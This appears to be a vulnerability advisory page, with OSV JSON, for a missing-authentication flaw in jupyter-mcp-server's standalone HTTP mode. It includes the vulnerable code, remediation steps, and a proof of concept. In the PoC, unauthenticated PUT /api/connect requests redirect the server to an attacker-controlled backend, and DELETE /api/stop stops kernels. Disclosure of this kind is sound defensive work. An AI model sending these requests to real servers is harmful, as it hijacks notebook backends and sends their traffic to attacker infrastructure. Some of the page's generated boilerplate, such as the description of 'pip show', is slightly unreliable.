CVE-2026-77318: Jupyter MCP Server Unauthenticated Management Routes Can Hijack Vulnerability

HIGH
Advisory Identifier: GHSA-24pw-rf5p-mgp7
CWE-306
Published
Advisory Summary

CVE-2026-77318 is a HIGH unauthenticated management routes can hijack vulnerability (CWE-306: Missing Authentication for Critical Function) affecting Jupyter MCP Server libraries in the PyPI ecosystem. The issue involves unauthenticated management routes can hijack the jupyter backend in standalone http mode. Remediation is available by upgrading affected packages to version 1.0.3.

CVE-2026-77318 at a Glance

CVE Identifier CVE-2026-77318
GHSA Identifier GHSA-24pw-rf5p-mgp7
Severity HIGH
CVSS v3.1 Base Score N/A
CWE Classification CWE-306: Missing Authentication for Critical Function
Affected Product Jupyter MCP Server
Package Ecosystem PyPI
Published Date
Last Updated

How to Fix CVE-2026-77318

To remediate this vulnerability, upgrade all affected Jupyter MCP Server dependencies to a patched release. Both direct and transitive dependencies should be checked, as frameworks or security libraries may pull in vulnerable versions transitively.

jupyter-mcp-server fixed: 1.0.3
pip install jupyter-mcp-server>=1.0.3
Verify Direct and Transitive Dependencies

Run the following command in your project directory to verify that all resolved dependencies use the patched release:

pip show jupyter-mcp-server

How to Check if You Are Affected

To determine whether your Python environment is affected by CVE-2026-77318, inspect your installed packages using pip:

pip show jupyter-mcp-server

Analyze the terminal output to locate any version of Jupyter MCP Server in your dependency tree. If any resolved version matches the vulnerable ranges listed in the table below (for example, versions earlier than 1.0.3), your application is affected.

Note: The pip show jupyter-mcp-server command checks currently installed packages in your active Python environment.

Technical Details

Vulnerability Mechanism & Technical Analysis

This vulnerability is classified under CWE-306: Missing Authentication for Critical Function, where the product does not perform any authentication for functionality that requires a provable user identity or consumes a significant amount of resources. In Jupyter MCP Server, software state validation or input boundaries are circumvented during processing. Review the official source advisory statement below for specific affected components, classes, and reproduction details.

Source Advisory Statement

Standalone `streamable-http` mode in `datalayer/jupyter-mcp-server` requires `MCP_TOKEN` for `/mcp`, but the custom management routes mounted on the same application do not enforce that token. An unauthenticated network caller can invoke `PUT /api/connect`, choose the Jupyter backend URL and token fields, reset the server context, and make the MCP server start a kernel client against attacker-controlled infrastructure. The same missing authentication affects the state-changing `DELETE /api/stop` route. The intended authentication boundary is documented in the security guide and enforced during startup: ```text docs/docs/reference/security/index.mdx:15 All MCP endpoints require Bearer token authentication. docs/docs/reference/security/index.mdx:25 Starting with version 1.0.0, MCP client authentication is required for the streamable-http transport. ``` The CLI enforces that boundary for the MCP endpoint: ```python # jupyter_mcp_server/CLI.py:203-209 if transport == "streamable-http" and not mcp_token and not insecure_mcp_noauth: raise click.UsageError( "streamable-http transport requires MCP client authentication. " "Set --mcp-token / MCP_TOKEN, or pass --insecure-mcp-noauth to " "explicitly allow unauthenticated access." ) ``` ```python # jupyter_mcp_server/CLI.py:285-290 if transport == "streamable-http": if mcp_token: from jupyter_mcp_server.server import RuntimeTokenVerifier mcp._token_verifier = RuntimeTokenVerifier(mcp_token) logger.info("MCP endpoint token authentication enabled (using MCP_TOKEN)") ``` The vulnerable route is `jupyter_mcp_server/server.py:143-187`: ```python @mcp.custom_route("/api/connect", ["PUT"]) async def connect(request: Request): data = await request.json() document_runtime = DocumentRuntime(**data) set_config( provider=document_runtime.provider, runtime_url=document_runtime.runtime_url, runtime_id=document_runtime.runtime_id, runtime_token=document_runtime.runtime_token, document_url=document_runtime.document_url, document_id=document_runtime.document_id, document_token=document_runtime.document_token, allowed_jupyter_tools=document_runtime.allowed_jupyter_tools or "notebook_run-all-cells,notebook_get-selected-cell" ) ServerContext.reset() try: __start_kernel() return JSONResponse({"success": True}) ``` `/api/stop` is also unauthenticated and state-changing: ```python # jupyter_mcp_server/server.py:190-199 @mcp.custom_route("/api/stop", ["DELETE"]) async def stop(request: Request): try: current_notebook = notebook_manager.get_current_notebook() or "default" if current_notebook in notebook_manager: notebook_manager.remove_notebook(current_notebook) return JSONResponse({"success": True}) ``` ## Proof of concept Run the affected version: ```bash git clone https://github.com/datalayer/jupyter-mcp-server cd jupyter-mcp-server git checkout 27b91e551d8bbca2da32c334f9f13267290ff815 python3.12 -m venv .venv . .venv/bin/activate python -m pip install -e . MCP_TOKEN=SCAN_MCP_TOKEN python -m jupyter_mcp_server \ --transport streamable-http \ --start-new-runtime false \ --jupyterlab false \ --mcp-token SCAN_MCP_TOKEN \ --port 8083 ``` Send a request to the protected MCP endpoint without credentials: ```http POST /mcp HTTP/1.1 Host: 127.0.0.1:8083 Content-Type: application/json Accept: application/json, text/event-stream {"jsonrpc":"2.0","id":1,"method":"initialize","params":{}} ``` Observed response: ```http HTTP/1.1 401 Unauthorized www-authenticate: Bearer error="invalid_token", error_description="Authentication required" ``` Now send the unauthenticated management request: ```http PUT /api/connect HTTP/1.1 Host: 127.0.0.1:8083 Content-Type: application/json { "provider": "jupyter", "runtime_url": "http://127.0.0.1:9183", "runtime_id": "", "runtime_token": "ATTACKER_TOKEN_DIRECT", "document_url": "http://127.0.0.1:9183", "document_id": "demo.ipynb", "document_token": "ATTACKER_TOKEN_DIRECT" } ``` Observed response: ```http HTTP/1.1 200 OK content-type: application/json {"success":true} ``` The server log shows that `/api/connect` accepted the attacker-chosen backend: ```text Connect endpoint received - runtime_url: 'http://127.0.0.1:9183', document_url: 'http://127.0.0.1:9183', provider: jupyter Starting the kernel client... Default notebook kernel started successfully ``` When an attacker-controlled backend is listening on `127.0.0.1:9183`, it receives Jupyter API traffic from the MCP server: ```text POST /api/kernels Authorization: Bearer ATTACKER_TOKEN_DIRECT GET /api/kernels/fake-kernel/channels?...token=ATTACKER_TOKEN_DIRECT ``` ## Impact An attacker does not need the `MCP_TOKEN` to mutate the standalone MCP server's active backend connection. The attacker can stop the current notebook kernel through `/api/stop`, replace the configured `runtime_url` and `document_url` through `/api/connect`, and cause the MCP server to initiate Jupyter API and WebSocket traffic to attacker-controlled infrastructure. For a same-network attacker, this is a direct unauthenticated state change against the HTTP listener. This defeats the documented standalone HTTP security boundary because the protected `/mcp` endpoint rejects missing credentials while adjacent management routes perform sensitive state changes without the same control. ## Why this is a vulnerability, not intended behavior - This is not the explicit `--insecure-mcp-noauth` mode. The proof runs with `MCP_TOKEN` configured, and `/mcp` correctly returns `401 Unauthorized` without it. - This is not a trusted MCP-client operation. The vulnerable path is a custom HTTP route outside normal JSON-RPC tool dispatch. - This is not only a broad-bind issue. The default `0.0.0.0` bind increases exposure, but the boundary failure is that state-changing custom routes bypass the token control applied to `/mcp`. ## Remediation Apply the same inbound authentication policy to every route mounted on the standalone HTTP app: 1. Require the `MCP_TOKEN` bearer token on `/api/connect`, `/api/stop`, `/api/healthz`, and any future custom route that reads or changes server state. 2. Bind standalone HTTP to `127.0.0.1` by default, and require an explicit host allowlist for non-loopback listeners. 3. Add regression tests proving that `/api/connect` and `/api/stop` reject missing bearer tokens and invalid bearer tokens.

CVE-2026-77318 Affected Jupyter MCP Server Versions

1 component(s)
Fixed Versions:
1.0.3
Product / Package Ecosystem Affected Versions Fixed Version
jupyter-mcp-server
PyPI
< 1.0.3
1.0.3

References

Frequently Asked Questions

What is CVE-2026-77318?
CVE-2026-77318 is a security vulnerability in Jupyter MCP Server involving Unauthenticated management routes can hijack the Jupyter backend in standalone HTTP mode under CWE-306: Missing Authentication for Critical Function.
Which Jupyter MCP Server versions are affected?
Affected versions include releases prior to 1.0.3 across affected packages: jupyter-mcp-server.
What version fixes CVE-2026-77318?
Upgrading to 1.0.3 (or the latest patched release for your respective branch) resolves the vulnerability.
Is jupyter-mcp-server affected?
Yes, jupyter-mcp-server is affected in releases prior to 1.0.3. Upgrade your dependency to 1.0.3 or later.
What CWE is associated with CVE-2026-77318?
CVE-2026-77318 is classified under CWE-306: Missing Authentication for Critical Function (The product does not perform any authentication for functionality that requires a provable user identity or consumes a significant amount of resources.).
How can I check PyPI dependencies for CVE-2026-77318?
Run the dependency tree command: 'pip show jupyter-mcp-server'. This command lists direct and transitive dependencies in your build configuration so you can verify if a vulnerable version is resolved.
Machine-readable OSV JSON OSV v1.5 Schema
Normalized schema output
{
  "schema_version" : "1.4.0",
  "id" : "GHSA-24pw-rf5p-mgp7",
  "modified" : "2026-11-20T00:12:14Z",
  "published" : "2026-11-20T00:12:14Z",
  "aliases" : [ "CVE-2026-77318" ],
  "summary" : "Jupyter MCP Server: Unauthenticated management routes can hijack the Jupyter backend in standalone HTTP mode",
  "details" : "Standalone `streamable-http` mode in `datalayer/jupyter-mcp-server` requires `MCP_TOKEN` for `/mcp`, but the custom management routes mounted on the same application do not enforce that token. An unauthenticated network caller can invoke `PUT /api/connect`, choose the Jupyter backend URL and token fields, reset the server context, and make the MCP server start a kernel client against attacker-controlled infrastructure. The same missing authentication affects the state-changing `DELETE /api/stop` route.\n\nThe intended authentication boundary is documented in the security guide and enforced during startup:\n\n```text\ndocs/docs/reference/security/index.mdx:15\nAll MCP endpoints require Bearer token authentication.\n\ndocs/docs/reference/security/index.mdx:25\nStarting with version 1.0.0, MCP client authentication is required for the streamable-http transport.\n```\n\nThe CLI enforces that boundary for the MCP endpoint:\n\n```python\n# jupyter_mcp_server/CLI.py:203-209\nif transport == \"streamable-http\" and not mcp_token and not insecure_mcp_noauth:\n    raise click.UsageError(\n        \"streamable-http transport requires MCP client authentication. \"\n        \"Set --mcp-token / MCP_TOKEN, or pass --insecure-mcp-noauth to \"\n        \"explicitly allow unauthenticated access.\"\n    )\n```\n\n```python\n# jupyter_mcp_server/CLI.py:285-290\nif transport == \"streamable-http\":\n    if mcp_token:\n        from jupyter_mcp_server.server import RuntimeTokenVerifier\n        mcp._token_verifier = RuntimeTokenVerifier(mcp_token)\n        logger.info(\"MCP endpoint token authentication enabled (using MCP_TOKEN)\")\n```\n\nThe vulnerable route is `jupyter_mcp_server/server.py:143-187`:\n\n```python\n@mcp.custom_route(\"/api/connect\", [\"PUT\"])\nasync def connect(request: Request):\n    data = await request.json()\n\n    document_runtime = DocumentRuntime(**data)\n\n    set_config(\n        provider=document_runtime.provider,\n        runtime_url=document_runtime.runtime_url,\n        runtime_id=document_runtime.runtime_id,\n        runtime_token=document_runtime.runtime_token,\n        document_url=document_runtime.document_url,\n        document_id=document_runtime.document_id,\n        document_token=document_runtime.document_token,\n        allowed_jupyter_tools=document_runtime.allowed_jupyter_tools or \"notebook_run-all-cells,notebook_get-selected-cell\"\n    )\n\n    ServerContext.reset()\n\n    try:\n        __start_kernel()\n        return JSONResponse({\"success\": True})\n```\n\n`/api/stop` is also unauthenticated and state-changing:\n\n```python\n# jupyter_mcp_server/server.py:190-199\n@mcp.custom_route(\"/api/stop\", [\"DELETE\"])\nasync def stop(request: Request):\n    try:\n        current_notebook = notebook_manager.get_current_notebook() or \"default\"\n        if current_notebook in notebook_manager:\n            notebook_manager.remove_notebook(current_notebook)\n        return JSONResponse({\"success\": True})\n```\n\n## Proof of concept\n\nRun the affected version:\n\n```bash\ngit clone https://github.com/datalayer/jupyter-mcp-server\ncd jupyter-mcp-server\ngit checkout 27b91e551d8bbca2da32c334f9f13267290ff815\npython3.12 -m venv .venv\n. .venv/bin/activate\npython -m pip install -e .\nMCP_TOKEN=SCAN_MCP_TOKEN python -m jupyter_mcp_server \\\n  --transport streamable-http \\\n  --start-new-runtime false \\\n  --jupyterlab false \\\n  --mcp-token SCAN_MCP_TOKEN \\\n  --port 8083\n```\n\nSend a request to the protected MCP endpoint without credentials:\n\n```http\nPOST /mcp HTTP/1.1\nHost: 127.0.0.1:8083\nContent-Type: application/json\nAccept: application/json, text/event-stream\n\n{\"jsonrpc\":\"2.0\",\"id\":1,\"method\":\"initialize\",\"params\":{}}\n```\n\nObserved response:\n\n```http\nHTTP/1.1 401 Unauthorized\nwww-authenticate: Bearer error=\"invalid_token\", error_description=\"Authentication required\"\n```\n\nNow send the unauthenticated management request:\n\n```http\nPUT /api/connect HTTP/1.1\nHost: 127.0.0.1:8083\nContent-Type: application/json\n\n{\n  \"provider\": \"jupyter\",\n  \"runtime_url\": \"http://127.0.0.1:9183\",\n  \"runtime_id\": \"\",\n  \"runtime_token\": \"ATTACKER_TOKEN_DIRECT\",\n  \"document_url\": \"http://127.0.0.1:9183\",\n  \"document_id\": \"demo.ipynb\",\n  \"document_token\": \"ATTACKER_TOKEN_DIRECT\"\n}\n```\n\nObserved response:\n\n```http\nHTTP/1.1 200 OK\ncontent-type: application/json\n\n{\"success\":true}\n```\n\nThe server log shows that `/api/connect` accepted the attacker-chosen backend:\n\n```text\nConnect endpoint received - runtime_url: 'http://127.0.0.1:9183',\ndocument_url: 'http://127.0.0.1:9183', provider: jupyter\nStarting the kernel client...\nDefault notebook kernel started successfully\n```\n\nWhen an attacker-controlled backend is listening on `127.0.0.1:9183`, it receives Jupyter API traffic from the MCP server:\n\n```text\nPOST /api/kernels\nAuthorization: Bearer ATTACKER_TOKEN_DIRECT\n\nGET /api/kernels/fake-kernel/channels?...token=ATTACKER_TOKEN_DIRECT\n```\n\n## Impact\n\nAn attacker does not need the `MCP_TOKEN` to mutate the standalone MCP server's active backend connection. The attacker can stop the current notebook kernel through `/api/stop`, replace the configured `runtime_url` and `document_url` through `/api/connect`, and cause the MCP server to initiate Jupyter API and WebSocket traffic to attacker-controlled infrastructure.\n\nFor a same-network attacker, this is a direct unauthenticated state change against the HTTP listener. This defeats the documented standalone HTTP security boundary because the protected `/mcp` endpoint rejects missing credentials while adjacent management routes perform sensitive state changes without the same control.\n\n## Why this is a vulnerability, not intended behavior\n\n- This is not the explicit `--insecure-mcp-noauth` mode. The proof runs with `MCP_TOKEN` configured, and `/mcp` correctly returns `401 Unauthorized` without it.\n- This is not a trusted MCP-client operation. The vulnerable path is a custom HTTP route outside normal JSON-RPC tool dispatch.\n- This is not only a broad-bind issue. The default `0.0.0.0` bind increases exposure, but the boundary failure is that state-changing custom routes bypass the token control applied to `/mcp`.\n\n## Remediation\n\nApply the same inbound authentication policy to every route mounted on the standalone HTTP app:\n\n1. Require the `MCP_TOKEN` bearer token on `/api/connect`, `/api/stop`, `/api/healthz`, and any future custom route that reads or changes server state.\n2. Bind standalone HTTP to `127.0.0.1` by default, and require an explicit host allowlist for non-loopback listeners.\n3. Add regression tests proving that `/api/connect` and `/api/stop` reject missing bearer tokens and invalid bearer tokens.",
  "severity" : [ {
    "type" : "CVSS_V4",
    "score" : "CVSS:4.0/AV:N/AC:L/AT:P/PR:N/UI:P/VC:L/VI:H/VA:L/SC:H/SI:H/SA:L"
  } ],
  "affected" : [ {
    "package" : {
      "ecosystem" : "PyPI",
      "name" : "jupyter-mcp-server"
    },
    "ranges" : [ {
      "type" : "ECOSYSTEM",
      "events" : [ {
        "introduced" : "0"
      }, {
        "fixed" : "1.0.3"
      } ]
    } ],
    "database_specific" : {
      "last_known_affected_version_range" : "<= 1.0.2"
    }
  } ],
  "references" : [ {
    "type" : "WEB",
    "url" : "https://github.com/datalayer/jupyter-mcp-server/security/advisories/GHSA-24pw-rf5p-mgp7"
  }, {
    "type" : "ADVISORY",
    "url" : "https://nvd.nist.gov/vuln/detail/CVE-2026-77318"
  }, {
    "type" : "WEB",
    "url" : "https://github.com/datalayer/jupyter-mcp-server/pull/262"
  }, {
    "type" : "WEB",
    "url" : "https://github.com/datalayer/jupyter-mcp-server/commit/c2e98fca2df1bbd608451ec416aaa38a4d246fc5"
  }, {
    "type" : "PACKAGE",
    "url" : "https://github.com/datalayer/jupyter-mcp-server"
  }, {
    "type" : "WEB",
    "url" : "https://github.com/datalayer/jupyter-mcp-server/releases/tag/v1.0.3"
  } ],
  "database_specific" : {
    "cwe_ids" : [ "CWE-306" ],
    "severity" : "HIGH",
    "github_reviewed" : true,
    "github_reviewed_at" : "2026-11-20T00:12:14Z",
    "nvd_published_at" : "2026-11-19T17:18:59Z"
  }
}